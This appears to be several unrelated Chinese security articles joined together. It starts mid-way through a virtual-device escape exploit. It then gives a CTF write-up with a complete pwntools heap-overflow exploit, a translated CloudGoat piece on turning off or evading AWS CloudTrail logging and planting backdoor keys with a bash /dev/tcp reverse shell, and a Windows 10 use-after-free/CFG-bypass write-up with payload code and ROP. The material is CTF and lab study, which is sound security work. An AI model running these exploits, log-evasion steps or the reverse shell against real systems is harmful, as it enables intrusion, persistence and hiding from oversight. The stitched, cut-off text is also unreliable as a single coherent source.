printf("rand address is %p\n", randr_address);
uint64_t libc_address = randr_address - 0x4aeb0;
uint64_t system_address = libc_address + 0x55410;
printf("system address is %p\n", system_address);
res[0] = system_address & 0xffffffff;
res[1] = system_address >> 32;
my_tea_encrypt(res, key);
uint64_t en_system_address = ((uint64_t )res[1]) << 32;
en_system_address += res[0];
printf("enc system address is %p\n", en_system_address);
getchar();
mmio_write(3 << 3, en_system_address, 3);
res[1] = 0x67616c66;
res[0] = 0x20746163;
my_tea_encrypt(res, key);
uint64_t enc_sh = ((uint64_t )res[1]) << 32;
enc_sh += res[0];
pmio_write(8, 0);
mmio_write(0, enc_sh , 3);
pmio_write(0x1c, 0x2620736c);
}
## Truth
### 分析
直接给出了源代码，程序提供了四种功能
while (1)
{
menu();
cin >> choice;
switch (choice)
{
case 1:
char temp;
cout << "Please input file's content" << endl;
while (read(STDIN_FILENO, &temp, 1) && temp != '\xff')
{
xmlContent.push_back(temp);
}
xmlfile.parseXml(xmlContent);
break;
case 2:
cout << "Please input the node name which you want to edit" << endl;
cin >> nodeName >> content;
xmlfile.editXML(nodeName, content);
break;
case 3:
pnode(*xmlfile.node->begin(), "");
break;
case 4:
cout << "MEME" << endl;
cin >> nodeName;
if (auto temp = pnode(*xmlfile.node->begin(), "", nodeName))
temp->meme(temp->backup);
break;
default:
break;
}
这里大致说一下，首先是`parseXML`函数，函数会根据`xml`的格式依次递归解析，每个标签都是一个`node`，用结构体`XML_NODE`来进行表示。在`parse`过程中最值得注意的就是`XML_NODE::parseNodeContents`中的处理逻辑
while (*current)
{
switch (*current)
{
/*
case CHARACTACTERS::LT:
case CHARACTACTERS::NEWLINE:
case CHARACTACTERS::BLANK:
*/
default:
{
auto lt = iterFind(current, CHARACTACTERS::LT);
data = std::make_shared <std::string>(current, lt);
backup = (char*)malloc(0x50);
current = lt;
break;
}
}
}
该函数在处理完标签的左半部分的时候发生调用如果没有遇到上述的三种情况也就是`<`，`\n`，空格三种字符的情况下就会进行堆块的分配，这里共分配了两个堆块，第一个我称之为`content`堆块，该堆块的大小由当前字符到最近的一个`<`之间的距离决定，第二个是固定的堆块为`backup`。
接下来看一下`edit`函数，首先根据用户输入的名称找到对应的`Node`结构体，接着检查了`node->data`中的字符的长度
char* XML_NODE::isInsertable(int x)
{
if (x > 0x50 || x < 0)
{
return nullptr;
}
return backup;
}
即需要小于`0x50`，接着就会将`data`中的数据拷贝到`backup`中，并将`data`更新为用户输入的`content`。
for (int i = 0; i < a->data->length(); i++)
{
a->backup[i] = (*a->data)[i];
}
*(a->data) = content;
接着看一下第三个功能也就是`show`函数，这里通过`pnode`函数打印出了用户指定的`Node`结构体的内容，包含`xml`中的属性字段以及`data`。
接着就是最后一个函数，类似于一个后门函数，调用了结构体中的一个函数指针，打印出了`backup`的内容
### 利用
这里可能是优化导致的问题，`edit`函数中的针对`data`的长度检查失效了，导致用户针对`backup`可以任意长度的堆溢出。而从调试中我们可以发现如果我们输入下面的`XML`，`backup`堆块相邻的位置存在一个`node`结构体
<Lin 1="111">
data
<Lin2>
/bin/sh
</Lin2>
</Lin>
也就是`backup`堆块与`Lin2`结构体相邻。这里我们就可以直接覆写结构体了，一个`Node`结构体的布局如下
pwndbg> x/30gx 0xab0c30-0x20
0xab0c10: 0x0000000000000000 0x00000000000000a1
0xab0c20: 0x00000000004054e0 0x0000000100000002
0xab0c30: 0x0000000000405340（meme函数指针存储地址） 0x0000000000ab0c48 堆地址
0xab0c40: 0x0000000000000003 0x00007fff006e694c
0xab0c50: 0x00007fffec193a00 0x0000000000000000
0xab0c60: 0x0000000000000000 0x0000000000ab11d0
0xab0c70: 0x0000000000ab11d0 0x0000000000ab11d0
0xab0c80: 0x0000000000000001 0x0000000000ab0e40
0xab0c90: 0x0000000000ab0e30 0x0000000000ab1390
0xab0ca0: 0x0000000000ab1380 0x0000000000ab0f00(backup)
根据结构体中的指针泄漏得到`heap address`，接着覆写结构体中的函数指针，利用第四个函数`getshell`。
这里还差一个`libc`基地址的泄露。这里也可以根据`backup`得到，在`data = std::make_shared
<std::string>(current, lt);`语句执行完毕之后会产生一个和`data`大小相同的堆块，如果此堆块为`unsorted
bin`，那么我们可以直接通过打印`backup`来泄漏得到`libc`基地址。
### EXP
# encoding=utf-8
from pwn import *
file_path = "./Truth"
context.arch = "amd64"
context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h']
elf = ELF(file_path)
debug = 1
if debug:
p = process([file_path])
gdb.attach(p)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
one_gadget = [0x45226, 0x4527a, 0xf0364, 0xf1207]
else:
p = remote('106.14.216.214', 45116)
libc = ELF('./libc-2.23.so')
one_gadget = [0x45226, 0x4527a, 0xf0364, 0xf1207]
def parse(file_content):
p.sendlineafter("Choice: ", "1")
p.sendafter("file's content\n", file_content)
p.sendline("\xff")
def edit(name, content):
p.sendlineafter("Choice: ", "2")
p.sendlineafter("to edit\n", name)
p.sendline(content)
def show():
p.sendlineafter("Choice: ", "3")
def show_backup(name):
p.sendlineafter("Choice: ", "4")
p.sendlineafter("MEME", name)
file_content = '''
<?xml?>
<Lin 1="{}">
<Lin2>
/bin/sh
</Lin2>
<Lin3>
/bin/sh
</Lin3>
'''.format("a"*0x500)
file_content += "a" * 0x70 + "b"*0x7
file_content += '''
<Lin4>
/bin/sh
</Lin4>
</Lin>
'''
parse(file_content)
show_backup("Lin")
p.recvuntil("Useless")
libc.address = u64(p.recvline().strip().ljust(8, b"\x00")) - 88 - 0x10 - libc.sym['__malloc_hook']
log.success("libc address is {}".format(hex(libc.address)))
edit("Lin", "1212")
show_backup("Lin")
p.recvuntil("b" * 0x7)
p.recvline()
heap_address = u64(p.recvline().strip().ljust(8, b"\x00"))
log.success("heap address is {}".format(hex(heap_address)))
edit("Lin3", b"/bin/sh\x00" + p64(one_gadget[3] + libc.address))
edit("Lin3", b"/bin/sh\x00" + p64(one_gadget[3] + libc.address))
payload = b"a"*0x70 + p64(heap_address- 0x1e0)
edit("Lin", payload)
edit("Lin", payload)
show_backup("Lin4")
p.interactive()
## 参考
[TEA、XTEA、XXTEA加密解密算法](https://www.jianshu.com/p/4272e0805da3) | 社区文章 |
# CloudGoat云靶机 Part-2：绕过CloudTrail实现持久访问
|
##### 译文声明
本文是翻译文章，文章原作者 rzepsky，文章来源：medium.com
原文地址：<https://medium.com/@rzepsky/playing-with-cloudgoat-part-2-fooling-cloudtrail-and-getting-persistence-access-6a1257bb3f7c>
译文仅供参考，具体内容表达以及含义原文为准。
在第一篇文章中，我分享了一个AWS提权实例：从一个仅有EC2权限的账户提权至管理员权限。今天，我将继续本系列，向大家展示如何绕过监控系统和如何实现持久访问。
## CloudTrail
CloudTrail服务会监控所有的AWS活动。亚马逊是这样介绍它的：
> “AWS CloudTrail 是一项 AWS 服务，可帮助对您的 AWS 账户进行监管、合规性检查、操作审核和风险审核。用户、角色或 AWS
> 服务执行的操作将记录为 CloudTrail 中的事件。事件包括在 AWS 管理控制台、AWS Command Line Interface 和 AWS
> 开发工具包和 API 中执行的操作。简化了安全性分析，资源更改检测，故障排除等过程。”
换句话说，CloudTrail是个“老大哥”，监视着用户的所有行为。很显然，攻击者拿下一个脆弱的环境后，第一件事就是绕过检测系统，清除痕迹。如果攻击者拿下了管理员权限，实现这些并不是不可能的。
### 了解配置
CloudTrail服务默认是关闭的，管理员可以配置它。你可以设置“trails”来自定义监视的内容。
回到CloudGoat平台，让我们来看看CloudTrail监视的范围。
可以看到，所有的日志文件都存储在一个名为“8678170722044418295491212493322823229141751439696325418”的S3储存桶中。还有CloudGoat中的CloudTrail仅监视了“us-west-2”区域。所以我们可以开展区域外的行动了，比如我们创建在其他区域创建一个新实例，这并不会被CloudTrail监控到。还有一点，请注意，使用全球服务将会被记录下来，像“IAM”（比如创建一个备用账户）。那么，攻击者如何绕过CloudTrail监控服务？
### 中止服务
首先，所有的入侵者都会想到这点。暂停服务用以下简单的命令实现：
然后，攻击者可能会执行一些有害操作（例如窃取数据，创建IAM备用账户，创建新实例用于挖矿）。完成攻击后，可以以下命令启动CloudTrail：
$ aws cloudtrail start-logging --name cloudgoat_trail --profile administrator
### 删除trails
通过删除所有trail也可以中止CloudTrail服务：
$ aws cloudtrail delete-trail --name cloudgoat_trail --profile administrator
或者，你移除存储日志信息的储存桶也可以做到（你过你那么做，记住添加一个`force`标签，否则你即使有管理员权限也无法删除储存桶）
在删除trails或者储存桶后，CloudTrail将处于宕机状态。还有一点，这两个方法有点高调，因为CloudTrail中会有最终的回显。例如当你删除了储存桶后，CloudTrail会有这样的提示：
GuardDuty（另一个监控服务）也会对CloudTrail服务的异常状态发出警报：
### 更好的方法
如果开启了CloudTrail，它默认监视所有区域。然而我们的CloudGoat平台中仅监视“us-west-2”
区域，所以我们可以在其他区域创建EC2实例，而不用担心被监控到。
对于全球服务，前面已经说过了，任何操作都会被监控到。幸运的是，你可以用标签`include-global-service-events`关闭全球服务中的事件监视。为了验证是否有效，我创建了一个用户“test1”，然后关闭了全球服务事件监视:
然后我创建了用户“test2”:
我用Bob的密钥暂停了EC2实例（检查“us-west-2”的所有事件是否正确记录）。在CloudTrail中，可以看到这里有记录”test1“用户的创建，而没有”test2“的记录：
用这种方法，攻击者可以绕过CloudTrail服务的监视。还有其他的方法避免被CloudTrail记录：
1. 使用新密钥加密所有日志（禁用该密钥，一段时间后删除）
2. 使用新的S3储存桶（攻击者完成删除它，然后再换回原先的储存桶）。
3. 使用AWS Lambda拒绝新日志记录（不需要更改CloudTrail的trails配置，你只需要这些权限“iam:CreatePolicy”, “iam:AttachRolePolicy”, “lambda:CreateFunction”, “lambda:AddPermission”, “s3:PutBucketNotification”）
如果这些方法不切合实际情况，[Daniel Grzelak的一篇文章](https://danielgrzelak.com/disrupting-aws-logging-a42e437d6594)可能会帮到你。
> 需要注意的是，以上所有方法虽然可以避免CloudTrail日志被记录到储存桶中，但是 **
> _所有的操作还是会CloudTrail事件系统储存90天_**
> 。包括所有区域的事件都会被储存且无法关闭存储系统。[这里](https://summitroute.com/blog/2018/08/07/aws_cloudtrail_vs_cloudwatch_events_vs_event_history/)你可以了解详情。
## 持久访问
在获取管理员权限，并且知道如何绕过CloudTrail监视器后，那么是时候在该环境实现持久访问了。有很多方法可以在该环境下留下后门，比如：
1. 用高权限账户修改用户数据（使用bash命令`bash -i >& /dev/tcp/[your_ip]/[your_port] 0>&1`或者获取SSH密钥认证）
2. 添加AMI备用账户后，用它创建新EC2实例
3. 在Lambda函数中添加后门（比如，某个参数调用该函数后导致创建一个新用户）
较好的方法是给现有的用户分配额外的密钥，[aws pwn](https://github.com/dagrz/aws_pwn)可以帮助你做到这点。然而aws
pwn还可以帮助你自动化地完成很多事：
1. **_rabbit_lambda_** — Lambda函数，可以不断地删除某个用户再创建它，实现干扰删除用户的事件记录系统。
2. **_cli_lambda_** — Lanmbda函数，可以无需凭证创建AWS CLI代理
3. **_backdoor_created_users_lambda_** — Lambda函数，可以给新用户添加密钥
4. **_backdoor_created_roles_lambda_** — Lambda函数，给新用户之间添加信任关系
5. **_backdoor_created_security_groups_lambda_** — Lambda函数，把新入站规则应用到所有安全组
6. **_backdoor_all_users_** — 可以给账户中的用户添加密钥
7. **_backdoor_all_roles_** — 可以给所有用户之间添加信任关系（设置[ARN](https://docs.aws.amazon.com/zh_cn/general/latest/gr/aws-arns-and-namespaces.html)）
让我们回到CloudGoat平台环境，给所有用户添加密钥：
好的，现在所有用户都有两个密钥了。我们可以再AWS管理中心看到：
有趣的是，用户不会收到添加密钥的通知。对于CloudTrail来说，因为关闭了全球服务事件的通知，所以不会有日志记录。那么，GuardDuty（AWS监控系统）会有什么不同？
> Amazon是这样描述GuardDuty服务的“
> Amazon GuardDuty 是一种智能威胁检测服务，帮助保护您的 AWS 账户和工作负载。”
所以，它不会把有权限地IAM用户正常创建新密钥识别为异常活动：
## 应对措施
这篇文章介绍了绕过CloudTrail监视系统和如何实现持久访问。你应该发现了，这不是一项艰巨的任务。那么，我们该如何防止这些东西发生呢？
1. 启用[CloudTrail日志完整性保护](https://docs.aws.amazon.com/awscloudtrail/latest/userguide/cloudtrail-log-file-validation-intro.html)，以防止攻击者替换日志的S3储存桶。
2. 除了极少数需要使用它的用户（遵循最小权限原则，[Netflix的Repokid](https://github.com/Netflix/repokid)可以快速地帮助你），删除所有用户的CloudTrail管理权限（有助于防止攻击者提权，[这里](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)可以帮助你）
3. 设置其他AWS账户管理CloudTrail S3储存桶的[跨区域复制](https://docs.aws.amazon.com/zh_cn/AmazonS3/latest/dev/crr.html)权限。即使主账户的AWS环境被攻击者入侵，CloudTrail日志也无法更改。
4. 启用[MFA删除保护](https://docs.aws.amazon.com/zh_cn/AmazonS3/latest/dev/UsingMFADelete.html)，增加了删除储存桶内容的难度。
5. 使用其他公司的服务备份CloudTrail日志（例如：[ Splunk](https://aws.amazon.com/cloudtrail/partners/splunk/)）。
6. 启用多种监视器，比如[AWS AWS CloudWatch Events](https://docs.aws.amazon.com/zh_cn/AmazonCloudWatch/latest/events/WhatIsCloudWatchEvents.html), 外部服务：[Cloudsploit Events](https://blog.cloudsploit.com/introducing-cloudsploit-events-fb2b4822130a) , [CloudTrail Listener](https://www.gorillastack.com/aws-cloudtrail-slack-integration/)。 | 社区文章 |
# 【技术分享】在Windows10中利用一个误用的C++共享指针
|
##### 译文声明
本文是翻译文章，文章来源：blog.scrt.ch
原文地址：<https://blog.scrt.ch/2017/01/27/exploiting-a-misused-c-shared-pointer-on-windows-10/>
译文仅供参考，具体内容表达以及含义原文为准。
****
翻译：[myswsun](http://bobao.360.cn/member/contribute?uid=2775084127)
预估稿费：200RMB
投稿方式：发送邮件至[linwei#360.cn](mailto:[email protected])，或登陆[网页版](http://bobao.360.cn/contribute/index)在线投稿
**0x00 前言**
在本文中，我描述了我的“winworld”挑战的一个详细的解决方案，这个挑战来自Insomni’hack CTF Teaser
2017。Winworld是一个使用C++11编写的x64的Windows二进制文件，并且包含了大部分Windows
10内置的保护措施，特别是AppContainer([
**AppJailLauncher**](https://github.com/trailofbits/AppJailLauncher)
)、执行流保护和最新的缓解策略。
这些能使用Process Hacker快速的验证（也要注意保留的2TB的CFGBitmap）：
这个任务运行在Windows Server 2016上面，挑战的行为与Windows
10一致，甚至使用了相同的库。这个挑战和描述能在[这里](https://github.com/Insomnihack/Teaser-2017/tree/master/winworld)找到。
**
**
**0x01 二进制的逻辑**
我们的今年的主题是“机器的风险”；winworld是最新的Westworls
TV秀，并实现了一个“narrator”接口，你能够创建机器人和人类，配置他们的行为，并且在地图上面移动他们。
这个narrator操作Person对象，这个对象是“hosts”（robots）和“guests”（humans）的共享类。每个类型存储在独立的列表中。
每个Person对象有下面的属性：
这个narrator暴露了下面的命令：
--[ Welcome to Winworld, park no 1209 ]-- narrator [day 1]$ help
Available commands:
- new <type> <sex> <name>
- clone <id> <new_name>
- list <hosts|guests>
- info <id>
- update <id> <attribute> <value>
- friend <add|remove> <id 1> <id 2>
- sentence <add|remove> <id> <sentence>
- map
- move <id> {<l|r|u|d>+}
- random_move
- next_day
- help
- prompt <show|hide>
- quit
narrator [day 1]$
在调用move或者random_move时行为发生，2个人相遇了。这个onEncounter方法指针被调用，他们能交互。只有攻击实际对其他Person对象有影响：如果攻击成功了，其他对象可能损坏或者死亡。Robots会永久死亡但是不能杀死humans。Humans只能活一次并且能杀死其他humans。next_day功能能复活robots的生命和恢复每个人的健康，但是如果对象是一个死人，将会被移除出列表。
People使用马尔可夫链的自动的方式交流，这种方式使用Westworld脚本初始化和添加句子，这个可能会发生有趣的对话。许多句子不能一直有效，因为有漏洞存在，我在描述中指定了它，以节省一些逆向的时间（已经有大量的C
++逆向了）。
**
**
**0x02 弱点1：在Person中复制构造函数未初始化属性**
在narrator初始化期间，map随机生成并且一个特定的点被选作“maze
center”，当某些特定条件达到时，机器人将转变为人类。这个条件是当前移动的Person必须是HOST，设置了is_conscious，并且必须有一个人类（GUEST）在maze
center。
第一件事是找到这个点。所有的随机数据能使用rand()获得，并且这个种子使用经典的srand(time(NULL))来初始化。因此这个种子能通过几次尝试来确定。一旦同步了服务器的时钟，在利用中简单的重放初始化算法能允许找到用来生成maze
center的rand()的值。编写一个简单的路径查找算法来使每个人都到这个位置。
机器人通过Person::Person构造函数中的is_conscious=false来初始化。然而这个Person::Person的拷贝构造函数被narrator的clone函数使用了，但是忘记了初始化。这个值将是未初始化的，并可以使用堆上面已有的内容。结果是克隆一个机器人足以使的is_conscious!=0，但是我们需要确保它是。
有时新克隆的机器人将在LFH中，有时不是。最好是通过克隆0x10减去当前的Person对象数（6）来确保总是在LFH中。让我们克隆6+1次并在windbg中检验：
0:004> ? winworld!Person::Person
Matched: 00007ff7`9b9ee700 winworld!Person::Person (<no parameter info>)
Matched: 00007ff7`9b9ee880 winworld!Person::Person (<no parameter info>)
Ambiguous symbol error at 'winworld!Person::Person'
0:004> bp 00007ff7`9b9ee880 "r rcx ; g" ; bp winworld!Person::printInfos ; g
rcx=0000024a826a3850
rcx=0000024a826800c0rcx=0000024a82674130
rcx=0000024a82674310
rcx=0000024a82673a50
rcx=0000024a82673910
rcx=0000024a82673d70Breakpoint 1 hit
winworld!Person::printInfos:
00007ff7`9b9f0890 4c8bdc mov r11,rsp
0:000> r rcx
rcx=0000024a82673d700:000> !heap -x 0000024a826800c0Entry User Heap Segment Size PrevSize Unused Flags
------------------------------------------------------------------------------------------------------------- 0000024a826800b0 0000024a826800c0 0000024a82610000 0000024a82610000 a0 120 10 busy
0:000> !heap -x 0000024a82673d70Entry User Heap Segment Size PrevSize Unused Flags
------------------------------------------------------------------------------------------------------------- 0000024a82673d60 0000024a82673d70 0000024a82610000 0000024a828dec10 a0 - 10 LFH;busy
在这里我们能看到头2个不在LFH中，其他的都在。
LFH分配是随机的，增加了一些挑战。然而这些分配使用大小为0x100的数组随机化，其位置以模数0x100递增，这意味着如果我们喷射正确大小的0x100个元素，我们将回到相同的位置，从而获得确定性行为。我们甚至不需要保证内存块，因此我们能简单的使用0x90大小（和Person一样）的命令字符串来喷射，它总是为clone操作初始化is_conscious属性。
现在我们的机器人变成了人类，并且麻烦再次开始！
注意：似乎Visual Studio
2015默认开启了/sdl编译标记，这将添加memset函数来将分配的Person对象填充为0，因此变得不可利用。我禁用了它，但为了公平起见，我开启了不是默认的CFG！
**
**
**0x03 弱点2：误用了std::shared_ptr**
共享指针是一个对象指针的简单封装。它特别添加了引用计数，在shared_ptr关联了新的变量时会增加计数，当释放了变量会减少计数。当引用计数变为0时，引用对象将不会存在，因此它自动释放它。针对UAF漏洞这个特别有效。
在这个挑战中，当机器人变成人类，它还保留在robtots列表中（但是它的is_enable字段变为false，因此不能再作为机器人了），并且被插入到humans列表中：
这是非常错误的，因为不是增加对象的shared_str的引用计数，我们创建了一个新的shared_str只想一个相同的对象：
当任意两个shared_ptr的引用计数降为0，这个对象被释放，并且因为其他shared_ptr还存活着，我们还是可以利用UAF漏洞！为了做到这个，我们能杀掉human-robot来使用另一个人类。我们也不得不移除他所有的朋友，否则引用计数不会为0。然后当它从guests向量中移除了指针时，使用next_day方法释放它：
现在得到RIP是简单的，因为对象拥有一个方法指针：使用一个假对象来喷射长度0x90的0x100个字符串，这个对象是std::string能包含空字节，然后将死掉的human-robot右移，他将再次遇到他的杀手，并触发覆盖onEncounter的方法指针：
def craft_person(func_ptr, leak_addr, size):
payload = struct.pack("<Q", func_ptr) # func pointer
payload += "x00" * 24 # friends std::vector
payload += "x00" * 24 # sentences std::vector
# std::string name
payload += struct.pack("<Q", leak_addr)
payload += "JUNKJUNK"
payload += struct.pack("<Q", size) # size
payload += struct.pack("<Q", size) # max_size
payload += struct.pack("<I", 1) # type = GUEST
payload += struct.pack("<I", 1) # sex
payload += "x01" # is_alive
payload += "x01" # is_conscious
payload += "x01" # is_enabled
[...]
payload = craft_person(func_ptr=0x4242424242424242, leak_addr=0, size=0)for i in range(0x100):
sendline(s, payload)
sendline(s, "move h7 lr")
结果：
0:004> g
(1a00.c68): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
ntdll!LdrpValidateUserCallTarget+0xe:
00007ffa`89b164ae 488b14c2 mov rdx,qword ptr [rdx+rax*8] ds:010986ff`08d30908=????????????????
0:000> ? rax << 9
Evaluate expression: 4774451407313060352 = 42424242`42424200
CFG将使问题变得复杂一点，但是在那之前我们需要来泄漏地址对抗ASLR。
**
**
**0x04 泄漏二进制基地址**
在前一个代码样本中我们制作了一个大小为0的std:string来阻止打印名字时崩溃。用有效值来替换指针和大小将在该地址打印大小字节，因此我们使用任意原始读写。现在我们打印了什么?除了_KUSER_SHARED_DATA的地址0x7ffe0000，其他都有ASLR，但是在Windows
10中它不能容纳任何指针。
代替使用字符串来利用UAF，我们必须使用相同LFH大小（0xa0）的另一个对象来替换Person对象。我们没有其他的，但是我们能增加vector的大小来代替。
使用std::vector<std::shared_ptr<Person>> friends来循环测试，我们使用7-9 friends能得到一些东西：
0:004> g
Breakpoint 0 hit
winworld!Person::printInfos:
00007ff7`9b9f0890 4c8bdc mov r11,rsp
0:000> dq rcx
000001cf`94daea60 00007ff7`9b9ef700 000001cf`94d949b0000001cf`94daea70 000001cf`94d94a20 000001cf`94d94a40
000001cf`94daea80 000001cf`94dac6c0 000001cf`94dac760
000001cf`94daea90 000001cf`94dac780 00736572`6f6c6f44
000001cf`94daeaa0 61742074`73657567 00000000`00000007
000001cf`94daeab0 00000000`0000000f 00000002`00000000
000001cf`94daeac0 00000000`20010001 00000000`00000000
000001cf`94daead0 0000003d`00000020 0000000a`00000004
0:000> !heap -x 000001cf`94d949b0Entry User Heap Segment Size PrevSize Unused Flags
------------------------------------------------------------------------------------------------------------- 000001cf94d949a0 000001cf94d949b0 000001cf94d30000 000001cf94dafb50 a0 - 10 LFH;busy
0:000> dq 000001cf`94d949b0000001cf`94d949b0 000001cf`94dfb410 000001cf`94d90ce0
000001cf`94d949c0 000001cf`94dac580 000001cf`94d90800
000001cf`94d949d0 000001cf`94d98f90 000001cf`94d911c0
000001cf`94d949e0 000001cf`94d99030 000001cf`94d912e0 # string pointer000001cf`94d949f0 000001cf`94db4cf0 000001cf`94d91180 # string size000001cf`94d94a00 000001cf`94db7e60 000001cf`94d912a0
000001cf`94d94a10 000001cf`94e97c70 000001cf`94d91300
000001cf`94d94a20 7320756f`590a2e73 73696874`20776f68
0:000> dps poi(000001cf`94d949b0+8+0n24*2) L3000001cf`94d912e0 00007ff7`9b9f7158 winworld!std::_Ref_count<Person>::`vftable'000001cf`94d912e8 00000001`00000005
000001cf`94d912f0 000001cf`94d99030
这个vector现在属于和Person对象相同的LFH。如果我们喷射0xf0字符串接着0x10 7-friends
vectors，我们能够泄漏指针：在winworld中的一个虚表地址和堆。我们应该能用0xff字符串来做到这个，然后是一个friends
vectors，但是有一些分配有时会发生，我还没调试出什么引起的。
尽管我们不能控制大小，它是巨大的，因此二进制不可避免的将崩溃！好消息是Windows上的堆和栈的随机只在每次启动时发生一次。每个进程都随机好了。这是不好的，但是因为二进制文件自动重启不是个问题，因此我们已经泄露了模块基地址，并且我们能够在子过程中复用它。
注意：当你开发一个Windows利用时，不要把二进制文件放在linux主机共享中，这会导致每次执行都随机化！
**
**
**0x05 绕过CFG**
CFG是微软的控制流完整性方案，它基于任何非直接调用必须指向函数开头的简单思想。在非直接调用之前会有__guard_check_icall_fptr插入：
在Windows 10中这将调用ntdll!LdrpValidateUserCallTarget来检验指针是否是一个可靠的函数开头，如果不是则终止。
CFG的优势是能强制中断一个合法的程序（因此没有原因不使用它）。然而CFG有3个常见的缺陷：
1\. 与验证函数参数和返回值的类型的CFI机制相比， 被允许的目标的集合还是太大。
2\. 它不能保护栈，因为返回地址不是函数开头。微软将使用RFG来修复这个并且将来Intel处理器也支持，但是还是不够强。
3\. 如果加载了一个没有使用CFG编译的模块，该模块的所有的地址都是被允许的。JIT可能有问题。（这里的二进制和所有模块都支持CFG和没有JIT）
当我写这个文章的时候，一篇[ **绕过CFG的博文**](https://improsec.com/blog/bypassing-control-flow-guard-in-windows-10)
就已经发布了，即利用kernel32！RtlCaptureContext（缺陷1）。j00ru是唯一一个解决这个任务的人，使用它来泄漏栈，但是我没有使用这个，而是选择了手动泄漏/写栈（缺陷2）。
我们已经使用了std::string
name属性来实现任意读取，现在我们也能够使用它来实现任意写！唯一需要的是将字符串替换为不比当前std::string对象最大大小更多的字节。这非常酷，然而目前为止我们还不知道栈（或者堆）在哪里，并且每次运行程序的库都会随机。我们后面会回到这。首先我们也想泄漏其他库的地址。
**
**
**0x06 泄漏其他库**
使用二进制基址和0x100个persons字符串的喷射，我们足够泄漏任意的内存地址。
我们能保留vectors为空字符串，来阻止调用Person::printInfos时崩溃。
现在我们已经有了二进制的基址，并且知道下次启动才会改变，泄漏其他库是个尝试：我们能转储IAT的入口。我的利用充分利用了ucrtbase.dll和ntdll.dll（在CFG中总是存在IAT），能通过构造一个std::string指向下面地址来完成泄漏：
0:000> dps winworld+162e8 L1
00007ff7`9b9f62e8 00007ffa`86d42360 ucrtbase!strtol
0:000> dps winworld+164c0 L2
00007ff7`9b9f64c0 00007ffa`89b164a0 ntdll!LdrpValidateUserCallTarget
00007ff7`9b9f64c8 00007ffa`89b164f0 ntdll!LdrpDispatchUserCallTarget
重复泄漏，我们能用gets()的地址来覆盖onEncounter的方法指针，一旦我们定位了ucrtbase.dll的基址。这当然是因为这个任务特殊的上下文，其标准输入输出流重定向到了客户端套接字上。这将触发gets(this_object)堆溢出，我们能使用来覆盖名字字符串的属性。
**
**
**0x07 泄漏栈**
在哪找栈指针？我们能从ntdll找到PEB的指针，然而在x64中PEB结构不包含指向TEB的指针。
一个最近的[ **j00ru的博文**](http://j00ru.vexillium.org/?p=2835)
描述了一个有趣的事实：尽管没有好的原因在堆上面存储栈指针，但是在进程初始化期间可能会有一些剩余的堆栈数据被无意复制到堆中。
他的博文在x86上描述了它，让我们在x64上面的堆中找下隐藏的栈指针：
0:001> !address
[...]
BaseAddress EndAddress+1 RegionSize Type State Protect Usage
-------------------------------------------------------------------------------------------------------------------------- [...] 3b`b6cfb000 3b`b6d00000 0`00005000 MEM_PRIVATE MEM_COMMIT PAGE_READWRITE Stack [~0; 2524.1738]
[...]
0:001> !heap
Heap Address NT/Segment Heap 17c262d0000 NT Heap
17c26120000 NT Heap
0:001> !address 17c262d0000 Usage: Heap
Base Address: 0000017c`262d0000End Address: 0000017c`26332000[...]
0:001> .for (r $t0 = 17c`262d0000; @$t0 < 17c`26332000; r $t0 = @$t0 + 8) { .if (poi(@$t0) > 3b`b6cfb000 & poi(@$t0) < 3b`b6d00000) { dps $t0 L1 } }
0000017c`262d2d90 0000003b`b6cff174
0000017c`262deb20 0000003b`b6cffbd8
0000017c`262deb30 0000003b`b6cffbc8
0000017c`262deb80 0000003b`b6cffc30
0000017c`2632cf80 0000003b`b6cff5e0
0000017c`2632cfc0 0000003b`b6cff5e0
0000017c`2632d000 0000003b`b6cff5e0
0000017c`2632d1a0 0000003b`b6cff5e0
0000017c`2632d2c0 0000003b`b6cff5e0
0000017c`2632d4e0 0000003b`b6cff5e0
0000017c`2632d600 0000003b`b6cff5e0
0000017c`2632d660 0000003b`b6cff5e0
0000017c`2632d6e0 0000003b`b6cff5e0
0000017c`2632d700 0000003b`b6cff5e0
0:000> dps winworld+1fbd0 L3
00007ff7`9b9ffbd0 0000017c`2632ca8000007ff7`9b9ffbd8 0000017c`262da050
00007ff7`9b9ffbe0 0000017c`2632cf20
好的！我们确实在默认堆上面找到了栈指针，并且我们能从winworld基址来泄漏堆中静态偏移的地址。
现在我们能浏览堆页，并且试图找到这些栈地址。在我的利用中为了简单，我使用了一个简单启发的方式来找到QWORDS在堆下面，但也高于100000000，交互式询问哪个可以作为栈泄漏。这明显可以改进。
**
**
**0x08 缓解措施和ROP**
现在我们已经有任意写了并且能覆盖栈上面的RIP地址，剩下的就是构建ROP了。几个想法如下：
VirtualProtect，然后shellcode
加载SMB上面的库
执行一个shell命令（WinExec等）
完整的ROP来读取标记
正如早前提到的，二进制有一些最新的[缓解措施](https://msdn.microsoft.com/en-us/library/windows/desktop/hh769088\(v=vs.85\).aspx)，在我们的上下文中是相关联的：
ProcessDynamicCodePolicy：阻止插入新的可执行内存，VirtualProtect将失败
ProcessSignaturePolicy：库必须被签名，组织了LoadLibrary
ProcessImageLoadPolicy：库不能从远程位置加载，组织了加载SMB上的库
最后两个选项依然可以用。我也想在父进程AppJailLauncher进程中添加一个使用PROC_THREAD_ATTRIBUTE_CHILD_PROCESS_POLICY的UpdateProcThreadAttribute的调用，将阻止winworld创建新进程，但是因为是一个控制台程序，winworld也会带起一个conhost.exe进程。使用这个缓解措施能阻止conhost.exe的创建，并且因此程序不能运行。
我的解决方案在ROP中直接读取。因为我不想陷入CreateFile和Windows句柄的麻烦中，我代替使用了ucrtbase.dll中的_sopen_s/_read/puts/_flushall函数。
在ntdll中查找小配件，我们能找到x64调用规则的pop前四个寄存器的完美的小配件。小配件在CFG中是它自己，这非常惊喜，可以进入rop链了。
0:000> u ntdll+96470 L5
ntdll!LdrpHandleInvalidUserCallTarget+0x70:
00007ffa`89b16470 5a pop rdx
00007ffa`89b16471 59 pop rcx
00007ffa`89b16472 4158 pop r8
00007ffa`89b16474 4159 pop r9
00007ffa`89b16476 c3 ret
最终整合到一起：
Z:aweinsomnihack2017winworld>python sploit.py getflag remote
[+] Discovering the PRNG seed...
Clock not synced with server...
[+] Resynced clock, delay of -21 seconds
[+] Found the maze center: (38, 41)
[+] Check the map for people positions
[+] Make sure that LFH is enabled for bucket of sizeof(Person)
6 / 6 ...
